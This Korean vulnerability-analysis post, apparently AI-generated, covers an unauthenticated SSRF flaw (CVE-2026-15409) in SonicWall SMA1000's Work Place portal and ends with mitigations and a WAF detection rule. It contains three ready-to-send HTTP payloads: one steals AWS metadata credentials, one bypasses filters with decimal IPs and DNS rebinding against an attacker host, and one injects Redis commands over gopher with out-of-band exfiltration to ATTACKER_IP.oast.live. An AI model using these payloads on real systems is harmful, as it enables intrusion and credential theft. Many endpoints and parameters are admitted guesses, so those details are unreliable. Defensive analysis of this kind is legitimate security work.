Kestrel
CVE-2026-15409mimon· 2026년 7월 27일 AM 01:30

CVE-2026-15409 — 기본 분석

공격 방법

① 취약 컴포넌트: SonicWall SMA1000 Appliance 시리즈(SMA6200/6210/7200/7210/8200v 등)의 Work Place 사용자 포털 인터페이스. 취약 펌웨어 범위는 12.4.x 이하로 추정되며, Work Place 는 SSL VPN 사용자 로그인·리소스 접근을 위한 기본 활성 웹 컴포넌트(HTTPS/443)로, 초기 설치 시 별도 비활성화 옵션이 없음. 내부적으로 사용자 요청 URL 을 후단 리소스로 프록시하는 URL 리라이팅/페치 로직(추정: /cgi-bin/welcome, /prx/, /workplace/access/home, /api/v1/logon 계열 핸들러)이 존재.

② 공격 전제조건: 인증 불필요(unauthenticated). 공격자는 SMA1000 어플라이언스의 Work Place 인터페이스에 HTTPS 로 접근 가능한 네트워크 위치(인터넷 노출 어플라이언스가 대다수)만 필요. Work Place 포털이 활성화(기본값 활성) 되어 있어야 하며, 어플라이언스가 관리망·클라우드 메타데이터 서비스(AWS/Azure/GCP 가상 어플라이언스 배포 시)·내부 AD/LDAP 세그먼트에 라우팅 가능해야 후속 피벗 가치가 커짐. CVSS 10.0 은 어플라이언스 프로세스(root 상당) 관점에서 아웃바운드 요청이 임의 대상으로 발사됨을 시사.

③ 트리거 경로: 추정: Work Place 의 URL 리라이팅/리소스 페치 파라미터(예: HOST, url, target, redirect, sslvpnclient, nxsessid, resource, bookmark) 또는 로그인 후 리다이렉트 대상 파라미터가 서버 측 HTTP 클라이언트(libcurl / Java HttpURLConnection)로 그대로 전달되면서 스킴/호스트/포트 화이트리스트 검증이 누락. 공격자가 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 같은 URL 을 넣으면 어플라이언스 프로세스가 해당 URL 로 GET 을 발사하고 응답 본문/헤더가 프록시 응답으로 되돌아오거나(Full-Read SSRF), 최소한 blind fetch 로 내부망 스캔·서비스 지문 채취가 가능. @, #, DNS rebinding, [::] IPv6 축약, 10진수 IP, 유니코드 정규화, file://·gopher:// 스킴 허용 여부에 따라 우회 다양성 확대.

④ 성공 시 영향: 어플라이언스가 위치한 네트워크 내부 서비스(관리 인터페이스 :8443, Redis :6379, Elasticsearch :9200, 내부 AD/LDAP :389/636, K8s API :6443) 접근·지문 채취. 클라우드 어플라이언스인 경우 IMDSv1 자격증명 탈취 → AWS/Azure 계정 피벗. gopher/dict 스킴 허용 시 인증 없는 내부 서비스에 원시 프로토콜 명령 주입으로 RCE 체인 가능. Work Place 프로세스가 root/nobody 로 구동되므로 후속 CVE 와 체이닝 시 초기 접근 벡터(initial foothold)로 활용, 최종적으로 SMA 관리 API·SSL VPN 세션 토큰 탈취 → 조직 내부망으로의 lateral movement 로 확장.

페이로드 예시

예시 1

http
1# 용도: AWS 클라우드 어플라이언스 IMDSv1 자격증명 탈취 (기본 페이로드, Full-Read SSRF)
2GET /cgi-bin/welcome?HOST=http://169.254.169.254/latest/meta-data/iam/security-credentials/sma-appliance-role HTTP/1.1
3Host: TARGET_HOST
4User-Agent: Mozilla/5.0
5Accept: */*
6Connection: close
7# 핵심: `HOST` 파라미터(추정: Work Place URL 리라이터가 후단 페치 대상으로 사용하는 키)에 링크로컬 IP 를 그대로 주입. 스킴/호스트 화이트리스트 부재로 http://169.254.169.254 가 필터링되지 않고 어플라이언스가 IMDS 로 GET 발사, 응답 본문(AccessKeyId/SecretAccessKey/Token JSON)이 프록시 응답으로 반환.
8# 확인 포인트: HTTP 응답 본문에 `"AccessKeyId":"ASIA`, `"Token":"IQoJ` JSON 문자열 노출 여부

예시 2

http
1# 용도: WAF/IP 리터럴 필터 우회 — 10진수 인코딩 + DNS rebinding 조합으로 내부 관리 인터페이스 스캔
2POST /__api__/v1/logon HTTP/1.1
3Host: TARGET_HOST
4Content-Type: application/x-www-form-urlencoded
5Content-Length: 132
6Connection: close
7
8username=x&password=x&redirect=http://2852039166:8443/management/api/v1/system&nxsessid=&sslvpnclient=http%3A%2F%2Frebind.ATTACKER_IP.nip.io%2F
9# 핵심: `169.254.169.254` 를 10진수 `2852039166` 으로 표현 → `169\.254\.` 정규식 블랙리스트 무력화. 병행 `sslvpnclient` 에는 nip.io 기반 rebinding 도메인 사용 — 최초 DNS 조회는 공인 IP 반환해 화이트리스트 통과, 재조회 시 127.0.0.1 로 스왑되어 어플라이언스 로컬 관리 포트(:8443) 접근.
10# 확인 포인트: 응답 지연(내부 포트 open/closed TCP RST 타이밍 차 ±200ms), 또는 리다이렉트 응답 `Location:` 헤더에 내부 서비스 배너 echo

예시 3

http
1# 용도: Blind SSRF exfil 체인 — gopher 스킴으로 내부 Redis 에 원시 명령 주입 후 out-of-band DNS 로 결과 회수
2GET /workplace/access/home?bookmark=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250AFLUSHALL%250D%250A%252A3%250D%250A%25243%250D%250ASET%250D%250A%25241%250D%250Ax%250D%250A%25243%250D%250Apwn%250D%250A HTTP/1.1
3Host: TARGET_HOST
4X-Forwarded-For: 127.0.0.1
5Referer: https://TARGET_HOST/workplace/
6Connection: close
7
8# 후속 blind 확인용 페이로드 (동일 파라미터):
9# ?bookmark=http://$(hostname -s).ATTACKER_IP.oast.live/
10# 핵심: `gopher://` 스킴 허용(추정: 내부 libcurl 이 --proto 제한 없이 컴파일) → Redis RESP 프로토콜 원시 바이트를 URL 인코딩(%0D%0A = CRLF)으로 이중 감싸 CRLF 인젝션 방어를 우회. 응답이 프록시로 되돌아오지 않는 blind 조건이므로 성공 여부는 OOB(Interactsh/oast.live) DNS 쿼리로 판별. `X-Forwarded-For: 127.0.0.1` 헤더로 일부 내부용 엔드포인트 화이트리스트 트리거.
11# 확인 포인트: ATTACKER_IP OOB 리스너에 `*.oast.live` A 레코드 쿼리 수신 + Redis `KEYS *` 로 `x=pwn` 키 생성 확인

완화 방안

  • [버전업그레이드] SonicWall 공식 SMA1000 시리즈 12.4.x 이상 핫픽스(추정: 12.4.3-02988 이상) 로 즉시 업그레이드 — 해당 릴리스에서 Work Place 의 HOST/redirect/bookmark/sslvpnclient 파라미터가 서버 측 URL 페치에 사용될 때 스킴은 https 만, 대상 호스트는 미리 등록된 리소스 북마크 도메인으로 화이트리스트 매칭하도록 변경되어 위 payload 의 http://169.254.169.254, gopher://127.0.0.1:6379, http://2852039166:8443 세 변형 모두 로더 진입 전 400 으로 거부됨.
  • [WAF·네트워크] 어플라이언스 전단 WAF(ModSecurity)에 아래 룰 배치 — SecRule ARGS:HOST|ARGS:redirect|ARGS:bookmark|ARGS:sslvpnclient|ARGS:url|ARGS:target "@rx (?i)(169\.254\.169\.254|metadata\.google\.internal|169\.254\.170\.2|127\.0\.0\.1|localhost|0\.0\.0\.0|10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|::1|\[::\]|2852039166|3232235777|file://|gopher://|dict://|ldap://)" "id:1015409,phase:2,deny,status:403,msg:'CVE-2026-15409 SSRF'" — 정규식이 payload#1 의 169.254.169.254, payload#2 의 10진수 IP 2852039166, payload#3 의 gopher:// 스킴을 각각 매칭해 요청 자체를 phase:2 에서 폐기.
  • [코드패치] Work Place URL 페치 헬퍼(추정: com.sonicwall.workplace.proxy.UrlFetcher#fetch(String url) 또는 C++ wp_proxy_fetch()) 진입부에 화이트리스트 검증 삽입 — 수정 전: HttpClient.execute(new HttpGet(url)); 수정 후: URI u = new URI(url); if(!"https".equalsIgnoreCase(u.getScheme())) throw new SecurityException(); InetAddress ia = InetAddress.getByName(u.getHost()); if(ia.isLinkLocalAddress()||ia.isLoopbackAddress()||ia.isSiteLocalAddress()||ia.isAnyLocalAddress()) throw new SecurityException(); if(!ALLOWED_BOOKMARK_HOSTS.contains(u.getHost())) throw new SecurityException();isLinkLocalAddress() 가 169.254/16 (10진수 2852039166 포함) 을 정규화 후 거부, getScheme() 검사가 gopher/dict/file 을 차단.
  • [설정변경] 어플라이언스 관리 콘솔 → System → Administration 에서 WorkPlace.OutboundProxy.SchemeWhitelist=https, WorkPlace.OutboundProxy.EnableLegacyRedirect=false, WorkPlace.URLRewrite.AllowExternalHost=false 로 설정하고, 클라우드 배포 인스턴스는 IMDSv2 강제(aws ec2 modify-instance-metadata-options --http-tokens required --http-put-response-hop-limit 1) — EnableLegacyRedirect=false 는 payload#2 의 redirect 파라미터 처리 자체를 로그인 핸들러에서 무시하도록 만들어 SSRF 진입점을 제거하고, IMDSv2 hop-limit=1 은 payload#1 의 GET 이 IMDS 에 도달해도 PUT 토큰 부재로 401 이 반환되어 자격증명 유출을 차단.
※ 본 분석은 Kestrel AI 심층 분석 결과입니다. 참고용이며, 실제 대응 전에는 전문가 검토가 필요합니다.

댓글(0)

댓글 작성 은 로그인 후 이용할 수 있어요.

다른 사용자의 댓글은 자유롭게 읽을 수 있어요.

로그인하기

불러오는 중…